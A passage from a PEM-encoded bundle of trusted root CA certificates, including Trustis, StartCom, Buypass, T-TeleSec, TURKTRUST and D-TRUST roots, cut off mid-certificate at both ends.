IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6 zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2 oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7 hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8 EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5 jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0 JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+ Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC 4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo 2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9 vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg== -----END CERTIFICATE----- Trustis FPS Root CA =================== -----BEGIN CERTIFICATE----- MIIDZzCCAk+gAwIBAgIQGx+ttiD5JNM2a/fH8YygWTANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQG EwJHQjEYMBYGA1UEChMPVHJ1c3RpcyBMaW1pdGVkMRwwGgYDVQQLExNUcnVzdGlzIEZQUyBSb290 IENBMB4XDTAzMTIyMzEyMTQwNloXDTI0MDEyMTExMzY1NFowRTELMAkGA1UEBhMCR0IxGDAWBgNV BAoTD1RydXN0aXMgTGltaXRlZDEcMBoGA1UECxMTVHJ1c3RpcyBGUFMgUm9vdCBDQTCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBAMVQe547NdDfxIzNjpvto8A2mfRC6qc+gIMPpqdZh8mQ RUN+AOqGeSoDvT03mYlmt+WKVoaTnGhLaASMk5MCPjDSNzoiYYkchU59j9WvezX2fihHiTHcDnlk H5nSW7r+f2C/revnPDgpai/lkQtV/+xvWNUtyd5MZnGPDNcE2gfmHhjjvSkCqPoc4Vu5g6hBSLwa cY3nYuUtsuvffM/bq1rKMfFMIvMFE/eC+XN5DL7XSxzA0RU8k0Fk0ea+IxciAIleH2ulrG6nS4zt o3Lmr2NNL4XSFDWaLk6M6jKYKIahkQlBOrTh4/L68MkKokHdqeMDx4gVOxzUGpTXn2RZEm0CAwEA AaNTMFEwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBS6+nEleYtXQSUhhgtx67JkDoshZzAd BgNVHQ4EFgQUuvpxJXmLV0ElIYYLceuyZA6LIWcwDQYJKoZIhvcNAQEFBQADggEBAH5Y//01GX2c GE+esCu8jowU/yyg2kdbw++BLa8F6nRIW/M+TgfHbcWzk88iNVy2P3UnXwmWzaD+vkAMXBJV+JOC yinpXj9WV4s4NvdFGkwozZ5BuO1WTISkQMi4sKUraXAEasP41BIy+Q7DsdwyhEQsb8tGD+pmQQ9P 8Vilpg0ND2HepZ5dfWWhPBfnqFVO76DH7cZEf1T1o+CP8HxVIo8ptoGj4W1OLBuAZ+ytIJ8MYmHV l/9D7S3B2l0pKoU/rGXuhg8FjZBf3+6f9L/uHfuY5H+QK4R4EA5sSVPvFVtlRkpdr7r7OnIdzfYl iB6XzCGcKQENZetX2fNXlrtIzYE= -----END CERTIFICATE----- StartCom Certification Authority ================================ -----BEGIN CERTIFICATE----- MIIHhzCCBW+gAwIBAgIBLTANBgkqhkiG9w0BAQsFADB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmlu ZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0 NjM3WhcNMzYwOTE3MTk0NjM2WjB9MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRk LjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMg U3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAw ggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZkpMyONvg45iPwbm2xPN1y o4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rfOQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/ Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/CJi/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/d eMotHweXMAEtcnn6RtYTKqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt 2PZE4XNiHzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMMAv+Z 6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w+2OqqGwaVLRcJXrJ osmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/ untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVc UjyJthkqcwEKDwOzEmDyei+B26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT 37uMdBNSSwIDAQABo4ICEDCCAgwwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD VR0OBBYEFE4L7xqkQFulF2mHMMo0aEPQQa7yMB8GA1UdIwQYMBaAFE4L7xqkQFulF2mHMMo0aEPQ Qa7yMIIBWgYDVR0gBIIBUTCCAU0wggFJBgsrBgEEAYG1NwEBATCCATgwLgYIKwYBBQUHAgEWImh0 dHA6Ly93d3cuc3RhcnRzc2wuY29tL3BvbGljeS5wZGYwNAYIKwYBBQUHAgEWKGh0dHA6Ly93d3cu c3RhcnRzc2wuY29tL2ludGVybWVkaWF0ZS5wZGYwgc8GCCsGAQUFBwICMIHCMCcWIFN0YXJ0IENv bW1lcmNpYWwgKFN0YXJ0Q29tKSBMdGQuMAMCAQEagZZMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0 aGUgc2VjdGlvbiAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0aWZpY2F0 aW9uIEF1dGhvcml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly93d3cuc3RhcnRzc2wuY29t L3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgGCWCGSAGG+EIBDQQrFilTdGFydENvbSBG cmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAgEAjo/n3JR5 fPGFf59Jb2vKXfuM/gTFwWLRfUKKvFO3lANmMD+x5wqnUCBVJX92ehQN6wQOQOY+2IirByeDqXWm N3PH/UvSTa0XQMhGvjt/UfzDtgUx3M2FIk5xt/JxXrAaxrqTi3iSSoX4eA+D/i+tLPfkpLst0OcN Org+zvZ49q5HJMqjNTbOx8aHmNrs++myziebiMMEofYLWWivydsQD032ZGNcpRJvkrKTlMeIFw6T tn5ii5B/q06f/ON1FE8qMt9bDeD1e5MNq6HPh+GlBEXoPBKlCcWw0bdT82AUuoVpaiF8H3VhFyAX e2w7QSlc4axa0c2Mm+tgHRns9+Ww2vl5GKVFP0lDV9LdJNUso/2RjSe15esUBppMeyG7Oq0wBhjA 2MFrLH9ZXF2RsXAiV+uKa0hK1Q8p7MZAwC+ITGgBF3f0JBlPvfrhsiAhS90a2Cl9qrjeVOwhVYBs HvUwyKMQ5bLmKhQxw4UtjJixhlpPiVktucf3HMiKf8CdBUrmQk9io20ppB+Fq9vlgcitKj1MXVuE JnHEhV5xJMqlG2zYYdMa4FTbzrqpMrUi9nNBCV24F10OD5mQ1kfabwo6YigUZ4LZ8dCAWZvLMdib D4x3TrVoivJs9iQOLWxwxXPR3hTQcY+203sC9uO41Alua551hDnmfyWl8kgAwKQB2j8= -----END CERTIFICATE----- StartCom Certification Authority G2 =================================== -----BEGIN CERTIFICATE----- MIIFYzCCA0ugAwIBAgIBOzANBgkqhkiG9w0BAQsFADBTMQswCQYDVQQGEwJJTDEWMBQGA1UEChMN U3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg RzIwHhcNMTAwMTAxMDEwMDAxWhcNMzkxMjMxMjM1OTAxWjBTMQswCQYDVQQGEwJJTDEWMBQGA1UE ChMNU3RhcnRDb20gTHRkLjEsMCoGA1UEAxMjU3RhcnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3Jp dHkgRzIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2iTZbB7cgNr2Cu+EWIAOVeq8O o1XJJZlKxdBWQYeQTSFgpBSHO839sj60ZwNq7eEPS8CRhXBF4EKe3ikj1AENoBB5uNsDvfOpL9HG 4A/LnooUCri99lZi8cVytjIl2bLzvWXFDSxu1ZJvGIsAQRSCb0AgJnooD/Uefyf3lLE3PbfHkffi Aez9lInhzG7TNtYKGXmu1zSCZf98Qru23QumNK9LYP5/Q0kGi4xDuFby2X8hQxfqp0iVAXV16iul Q5XqFYSdCI0mblWbq9zSOdIxHWDirMxWRST1HFSr7obdljKF+ExP6JV2tgXdNiNnvP8V4so75qbs O+wmETRIjfaAKxojAuuKHDp2KntWFhxyKrOq42ClAJ8Em+JvHhRYW6Vsi1g8w7pOOlz34ZYrPu8H vKTlXcxNnw3h3Kq74W4a7I/htkxNeXJdFzULHdfBR9qWJODQcqhaX2YtENwvKhOuJv4KHBnM0D4L nMgJLvlblnpHnOl68wVQdJVznjAJ85eCXuaPOQgeWeU1FEIT/wCc976qUM/iUUjXuG+v+E5+M5iS FGI6dWPPe/regjupuznixL0sAA7IF6wT700ljtizkC+p2il9Ha90OrInwMEePnWjFqmveiJdnxMa z6eg6+OGCtP95paV1yPIN93EfKo2rJgaErHgTuixO/XWb/Ew1wIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUS8W0QGutHLOlHGVuRjaJhwUMDrYwDQYJ KoZIhvcNAQELBQADggIBAHNXPyzVlTJ+N9uWkusZXn5T50HsEbZH77Xe7XRcxfGOSeD8bpkTzZ+K 2s06Ctg6Wgk/XzTQLwPSZh0avZyQN8gMjgdalEVGKua+etqhqaRpEpKwfTbURIfXUfEpY9Z1zRbk J4kd+MIySP3bmdCPX1R0zKxnNBFi2QwKN4fRoxdIjtIXHfbX/dtl6/2o1PXWT6RbdejF0mCy2wl+ JYt7ulKSnj7oxXehPOBKc2thz4bcQ///If4jXSRK9dNtD2IEBVeC2m6kMyV5Sy5UGYvMLD0w6dEG /+gyRr61M3Z3qAFdlsHB1b6uJcDJHgoJIIihDsnzb02CVAAgp9KP5DlUFy6NHrgbuxu9mk47EDTc nIhT76IxW1hPkWLIwpqazRVdOKnWvvgTtZ8SafJQYqz7Fzf07rh1Z2AQ+4NQ+US1dZxAF7L+/Xld blhYXzD8AK6vM8EOTmy6p6ahfzLbOOCxchcKK5HsamMm7YnUeMx0HgX4a/6ManY5Ka5lIxKVCCIc l85bBu4M4ru8H0ST9tg4RQUh7eStqxK2A6RCLi3ECToDZ2mEmuFZkIoohdVddLHRDiBYmxOlsGOm 7XtH/UVVMKTumtTm4ofvmMkyghEpIrwACjFeLQ/Ajulrso8uBtjRkcfGEvRM/TAXw8HaOFvjqerm obp573PYtlNXLfbQ4ddI -----END CERTIFICATE----- Buypass Class 2 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1 g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn 9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b /+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0 oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN rJgWVqA= -----END CERTIFICATE----- Buypass Class 3 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR 5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh 7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH 2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV /afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8 ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2 KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz 6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi Cp/HuZc= -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 3 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK 9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W 0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw== -----END CERTIFICATE----- EE Certification Centre Root CA =============================== -----BEGIN CERTIFICATE----- MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2 rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw 93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU 3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM dcGWxZ0= -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 2007 ================================================= -----BEGIN CERTIFICATE----- MIIEPTCCAyWgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvzE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP MA0GA1UEBwwGQW5rYXJhMV4wXAYDVQQKDFVUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgQXJhbMSxayAyMDA3MB4X DTA3MTIyNTE4MzcxOVoXDTE3MTIyMjE4MzcxOVowgb8xPzA9BgNVBAMMNlTDnFJLVFJVU1QgRWxl a3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsTELMAkGA1UEBhMCVFIxDzAN BgNVBAcMBkFua2FyYTFeMFwGA1UECgxVVMOcUktUUlVTVCBCaWxnaSDEsGxldGnFn2ltIHZlIEJp bGnFn2ltIEfDvHZlbmxpxJ9pIEhpem1ldGxlcmkgQS7Fni4gKGMpIEFyYWzEsWsgMjAwNzCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKu3PgqMyKVYFeaK7yc9SrToJdPNM8Ig3BnuiD9N YvDdE3ePYakqtdTyuTFYKTsvP2qcb3N2Je40IIDu6rfwxArNK4aUyeNgsURSsloptJGXg9i3phQv KUmi8wUG+7RP2qFsmmaf8EMJyupyj+sA1zU511YXRxcw9L6/P8JorzZAwan0qafoEGsIiveGHtya KhUG9qPw9ODHFNRRf8+0222vR5YXm3dx2KdxnSQM9pQ/hTEST7ruToK4uT6PIzdezKKqdfcYbwnT rqdUKDT74eA7YH2gvnmJhsifLfkKS8RQouf9eRbHegsYz85M733WB2+Y8a+xwXrXgTW4qhe04MsC AwEAAaNCMEAwHQYDVR0OBBYEFCnFkKslrxHkYb+j/4hhkeYO/pyBMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAQDdr4Ouwo0RSVgrESLFF6QSU2TJ/s Px+EnWVUXKgWAkD6bho3hO9ynYYKVZ1WKKxmLNA6VpM0ByWtCLCPyA8JWcqdmBzlVPi5RX9ql2+I aE1KBiY3iAIOtsbWcpnOa3faYjGkVh+uX4132l32iPwa2Z61gfAyuOOI0JzzaqC5mxRZNTZPz/OO Xl0XrRWV2N2y1RVuAE6zS89mlOTgzbUF2mNXi+WzqtvALhyQRNsaXRik7r4EW5nVcV9VZWRi1aKb BFmGyGJ353yCRWo9F7/snXUMrqNvWtMvmDb08PUZqxFdyKbjKlhqQgnDvZImZjINXQhVdP+MmNAK poRq0Tl9 -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 2009 ============================== -----BEGIN CERTIFICATE----- MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe 